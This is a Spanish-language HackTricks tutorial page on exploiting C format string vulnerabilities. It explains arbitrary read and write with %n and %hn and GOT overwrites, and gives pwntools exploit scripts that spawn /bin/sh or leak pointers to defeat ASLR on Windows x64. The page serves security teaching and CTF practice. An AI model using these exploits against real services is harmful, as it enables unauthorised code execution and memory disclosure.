261 lines
12 KiB
Markdown

# Format Strings
{{#include ../../banners/hacktricks-training.md}}
## Información básica
En C **`printf`** es una función que puede usarse para **imprimir** una cadena. El **primer parámetro** que espera esta función es el **texto crudo con los especificadores de formato**. Los **parámetros siguientes** que se esperan son los **valores** para **sustituir** los **especificadores de formato** del texto crudo.
Otras funciones vulnerables son **`sprintf()`** y **`fprintf()`**.
La vulnerabilidad aparece cuando un **texto del atacante se usa como primer argumento** de esta función. El atacante podrá crear una **entrada especial abusando** de las capacidades de la **cadena de formato de printf** para leer y **escribir cualquier dato en cualquier dirección (legible/escribible)**. De este modo podrá **ejecutar código arbitrario**.
#### Especificadores:
```bash
%08x —> 8 hex bytes
%d —> Entire
%u —> Unsigned
%s —> String
%p —> Pointer
%n —> Number of written bytes
%hn —> Occupies 2 bytes instead of 4
<n>$X —> Direct access, Example: ("%3$d", var1, var2, var3) —> Access to var3
```
**Ejemplos:**
- Ejemplo vulnerable:
```c
char buffer[30];
gets(buffer); // Dangerous: takes user input without restrictions.
printf(buffer); // If buffer contains "%x", it reads from the stack.
```
- Uso normal:
```c
int value = 1205;
printf("%x %x %x", value, value, value); // Outputs: 4b5 4b5 4b5
```
- Con argumentos faltantes:
```c
printf("%x %x %x", value); // Unexpected output: reads random values from the stack.
```
- fprintf vulnerable:
```c
#include <stdio.h>
int main(int argc, char *argv[]) {
char *user_input;
user_input = argv[1];
FILE *output_file = fopen("output.txt", "w");
fprintf(output_file, user_input); // The user input can include formatters!
fclose(output_file);
return 0;
}
```
### **Accediendo a punteros**
El formato **`%<n>$x`**, donde `n` es un número, permite indicarle a printf que seleccione el parámetro n (desde la stack). Así que si quieres leer el 4º parámetro de la stack usando printf podrías hacer:
```c
printf("%x %x %x %x")
```
y leerías desde el primer hasta el cuarto parámetro.
O podrías hacer:
```c
printf("%4$x")
```
y leer directamente el cuarto.
Fíjate que el atacante controla el `printf` **parámetro, lo que básicamente significa que** su entrada estará en la stack cuando se llame a `printf`, por lo que podría escribir direcciones de memoria específicas en la stack.
> [!CAUTION]
> Un atacante que controle esta entrada podrá **añadir direcciones arbitrarias en la stack y hacer que `printf` las acceda**. En la siguiente sección se explicará cómo usar este comportamiento.
## **Arbitrary Read**
Es posible usar el formateador **`%n$s`** para hacer que **`printf`** obtenga la **dirección** situada en la **posición n**, seguirla y **imprimirla como si fuera una cadena** (imprime hasta que se encuentre un 0x00). Así que si la dirección base del binario es **`0x8048000`**, y sabemos que la entrada del usuario empieza en la cuarta posición en la stack, es posible imprimir el inicio del binario con:
```python
from pwn import *
p = process('./bin')
payload = b'%6$s' #4th param
payload += b'xxxx' #5th param (needed to fill 8bytes with the initial input)
payload += p32(0x8048000) #6th param
p.sendline(payload)
log.info(p.clean()) # b'\x7fELF\x01\x01\x01||||'
```
> [!CAUTION]
> Ten en cuenta que no puedes poner la dirección 0x8048000 al principio de la entrada porque la cadena se truncará en 0x00 al final de esa dirección.
### Encontrar el offset
Para encontrar el offset de tu entrada puedes enviar 4 u 8 bytes (`0x41414141`) seguidos de **`%1$x`** e **incrementar** el valor hasta recuperar las `A's`.
<details>
<summary>Brute Force printf offset</summary>
```python
# Code from https://www.ctfrecipes.com/pwn/stack-exploitation/format-string/data-leak
from pwn import *
# Iterate over a range of integers
for i in range(10):
# Construct a payload that includes the current integer as offset
payload = f"AAAA%{i}$x".encode()
# Start a new process of the "chall" binary
p = process("./chall")
# Send the payload to the process
p.sendline(payload)
# Read and store the output of the process
output = p.clean()
# Check if the string "41414141" (hexadecimal representation of "AAAA") is in the output
if b"41414141" in output:
# If the string is found, log the success message and break out of the loop
log.success(f"User input is at offset : {i}")
break
# Close the process
p.close()
```
</details>
### Qué tan útil
Arbitrary reads pueden ser útiles para:
- **Dump** the **binary** de la memoria
- **Access specific parts of memory where sensitive** **info** se almacena (como canaries, encryption keys o custom passwords como en este [**CTF challenge**](https://www.ctfrecipes.com/pwn/stack-exploitation/format-string/data-leak#read-arbitrary-value))
## **Arbitrary Write**
El formateador **`%<num>$n`** **escribe** el **número de bytes escritos** en la **dirección indicada** en el parámetro `<num>` en la pila. Si un atacante puede escribir tantos caracteres como quiera con `printf`, podrá hacer que **`%<num>$n`** escriba un número arbitrario en una dirección arbitraria.
Afortunadamente, para escribir el número 9999 no es necesario añadir 9999 "A"s a la entrada; para ello es posible usar el formateador **`%.<num-write>%<num>$n`** para escribir el número **`<num-write>`** en la **dirección apuntada por la posición `num`**.
```bash
AAAA%.6000d%4\$n —> Write 6004 in the address indicated by the 4º param
AAAA.%500\$08x —> Param at offset 500
```
Sin embargo, ten en cuenta que normalmente, para escribir una dirección como `0x08049724` (que es un número ENORME para escribir de golpe), **se usa `$hn`** en lugar de `$n`. Esto permite **escribir solo 2 Bytes**. Por lo tanto, esta operación se realiza dos veces: una para los 2B más altos de la dirección y otra para los 2B más bajos.
Por tanto, esta vulnerabilidad permite **escribir cualquier cosa en cualquier dirección (arbitrary write).**
En este ejemplo, el objetivo será **sobrescribir** la **dirección** de una **función** en la **GOT** que se llamará más adelante. Aunque esto podría aprovechar otras técnicas de arbitrary write to exec:
{{#ref}}
../arbitrary-write-2-exec/
{{#endref}}
Vamos a **sobrescribir** una **función** que **recibe** sus **argumentos** del **usuario** y **apuntarla** a la función **`system`**.\
Como se mencionó, para escribir la dirección suelen hacerse 2 pasos: primero escribes 2Bytes de la dirección y luego los otros 2. Para ello se usa **`$hn`**.
- **HOB** denomina a los 2 bytes más altos de la dirección
- **LOB** denomina a los 2 bytes más bajos de la dirección
Luego, por cómo funciona format string debes **escribir primero el menor** de \[HOB, LOB] y luego el otro.
Si HOB < LOB\
`[address+2][address]%.[HOB-8]x%[offset]\$hn%.[LOB-HOB]x%[offset+1]`
Si HOB > LOB\
`[address+2][address]%.[LOB-8]x%[offset+1]\$hn%.[HOB-LOB]x%[offset]`
HOB LOB HOB_shellcode-8 NºParam_dir_HOB LOB_shell-HOB_shell NºParam_dir_LOB
```bash
python -c 'print "\x26\x97\x04\x08"+"\x24\x97\x04\x08"+ "%.49143x" + "%4$hn" + "%.15408x" + "%5$hn"'
```
### Plantilla de Pwntools
Puede encontrar una **plantilla** para preparar un exploit para este tipo de vulnerabilidad en:
{{#ref}}
format-strings-template.md
{{#endref}}
O este ejemplo básico de [**here**](https://ir0nstone.gitbook.io/notes/types/stack/got-overwrite/exploiting-a-got-overwrite):
```python
from pwn import *
elf = context.binary = ELF('./got_overwrite-32')
libc = elf.libc
libc.address = 0xf7dc2000 # ASLR disabled
p = process()
payload = fmtstr_payload(5, {elf.got['printf'] : libc.sym['system']})
p.sendline(payload)
p.clean()
p.sendline('/bin/sh')
p.interactive()
```
## Format Strings to BOF
Es posible abusar de las acciones de escritura de una format string vulnerability para **escribir en direcciones de la pila** y explotar una vulnerabilidad de tipo **buffer overflow**.
## Windows x64: Format-string leak to bypass ASLR (no varargs)
En Windows x64 los primeros cuatro parámetros enteros/puntero se pasan en registros: RCX, RDX, R8, R9. En muchos call-sites con bugs la cadena controlada por el atacante se usa como argumento de formato, pero no se proporcionan argumentos variádicos, por ejemplo:
```c
// keyData is fully controlled by the client
// _snprintf(dst, len, fmt, ...)
_snprintf(keyStringBuffer, 0xff2, (char*)keyData);
```
Porque no se pasan varargs, cualquier conversión como "%p", "%x", "%s" hará que el CRT lea el siguiente variadic argument desde el registro correspondiente. Con la Microsoft x64 calling convention la primera lectura para "%p" proviene de R9. Cualquier valor transitorio que esté en R9 en el call-site será impreso. En la práctica esto a menudo leaks un puntero estable dentro del módulo (p. ej., un puntero a un objeto local/global previamente colocado en R9 por el código circundante o un callee-saved value), lo cual puede usarse para recuperar la module base y derrotar ASLR.
Practical workflow:
- Inyecta un formato inofensivo como "%p " al inicio de la cadena controlada por el atacante para que la primera conversión se ejecute antes de cualquier filtrado.
- Captura el leaked pointer, identifica el offset estático de ese objeto dentro del módulo (revirtiendo una vez con símbolos o una copia local), y recupera la image base como `leak - known_offset`.
- Reutiliza esa base para calcular direcciones absolutas de ROP gadgets y entradas IAT de forma remota.
Ejemplo (python abreviado):
```python
from pwn import remote
# Send an input that the vulnerable code will pass as the "format"
fmt = b"%p " + b"-AAAAA-BBB-CCCC-0252-" # leading %p leaks R9
io = remote(HOST, 4141)
# ... drive protocol to reach the vulnerable snprintf ...
leaked = int(io.recvline().split()[2], 16) # e.g. 0x7ff6693d0660
base = leaked - 0x20660 # module base = leak - offset
print(hex(leaked), hex(base))
```
Notas:
- El exact offset a restar se encuentra una vez durante el reversing local y luego se reutiliza (same binary/version).
- Si "%p" no imprime un puntero válido en el primer intento, prueba otros specifiers ("%llx", "%s") o múltiples conversiones ("%p %p %p") para samplear otros argument registers/stack.
- Este patrón es específico de la Windows x64 calling convention y de las implementaciones printf-family que obtienen varargs inexistentes desde registers cuando el format string los solicita.
Esta técnica es extremadamente útil para bootstrap ROP en servicios Windows compilados con ASLR y sin primitivas obvias de memory disclosure.
## Otros Ejemplos & Referencias
- [https://ir0nstone.gitbook.io/notes/types/stack/format-string](https://ir0nstone.gitbook.io/notes/types/stack/format-string)
- [https://www.youtube.com/watch?v=t1LH9D5cuK4](https://www.youtube.com/watch?v=t1LH9D5cuK4)
- [https://www.ctfrecipes.com/pwn/stack-exploitation/format-string/data-leak](https://www.ctfrecipes.com/pwn/stack-exploitation/format-string/data-leak)
- [https://guyinatuxedo.github.io/10-fmt_strings/pico18_echo/index.html](https://guyinatuxedo.github.io/10-fmt_strings/pico18_echo/index.html)
- 32 bit, no relro, no canary, nx, no pie, uso básico de format strings para leak la flag desde el stack (no es necesario alterar el flujo de ejecución)
- [https://guyinatuxedo.github.io/10-fmt_strings/backdoor17_bbpwn/index.html](https://guyinatuxedo.github.io/10-fmt_strings/backdoor17_bbpwn/index.html)
- 32 bit, relro, no canary, nx, no pie, format string para sobrescribir la dirección `fflush` con la función win (ret2win)
- [https://guyinatuxedo.github.io/10-fmt_strings/tw16_greeting/index.html](https://guyinatuxedo.github.io/10-fmt_strings/tw16_greeting/index.html)
- 32 bit, relro, no canary, nx, no pie, format string para escribir una dirección dentro de main en `.fini_array` (de modo que el flujo vuelva a ejecutarse 1 vez más) y escribir la dirección de `system` en la tabla GOT apuntando a `strlen`. Cuando el flujo vuelva a main, `strlen` se ejecutará con input del usuario y apuntando a `system`, ejecutará los comandos pasados.
## References
- [HTB Reaper: Format-string leak + stack BOF → VirtualAlloc ROP (RCE)](https://0xdf.gitlab.io/2025/08/26/htb-reaper.html)
- [x64 calling convention (MSVC)](https://learn.microsoft.com/en-us/cpp/build/x64-calling-convention)
{{#include ../../banners/hacktricks-training.md}}